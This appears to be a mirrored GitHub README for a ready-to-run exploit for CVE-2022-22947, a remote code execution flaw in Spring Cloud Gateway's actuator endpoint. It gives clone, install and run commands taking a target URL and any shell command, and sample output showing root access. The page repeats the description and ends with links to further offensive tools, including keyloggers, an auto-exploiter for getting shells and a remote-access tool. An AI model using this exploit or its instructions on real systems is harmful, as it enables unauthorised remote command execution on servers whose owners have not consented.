Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

一款针对向日葵的识别码和验证码提取工具

Workshop Material on VM-based Deobfuscation

A burp-suite plugin that extract all parameter names from in-scope requests

Exploit tool for Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability

Simple tool to create passwords.

The next level Python obfuscator, nearly impossible to deobfuscate.

Vulnerability Scanner & Auto Exploiter You can use this tool to check the security by finding the vulnerability in your website or you can use this tool to Get Shells

MTBLLS Ethical Hacking Tool Announcement of v2.0

Android Malware Behavior Deleter

The RDT protocol (RDT3.0,GBN,SR) implementation and performance evaluation code using socket

A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities

Ini membuat tema berbasis bendera Indonesia with Python + Linux.py

Uma ferramenta de segurança da informação escrita em python3,capaz de dar acesso total ao computador de alguém!

A Radare2 based Python module for Binary Analysis and Reverse Engineering.

This is a Cryptographied Password Manager, a tool for storing Passwords in a Secure way

✨ Powerfull & Universal Link Bypasser ✨

Crypto Meta Extractor

Bilgi Sistemleri Projesi için yapılan keylogger

A guide to building basic malware in Python by implementing a keylogger application

BloodyAD is an Active Directory Privilege Escalation Framework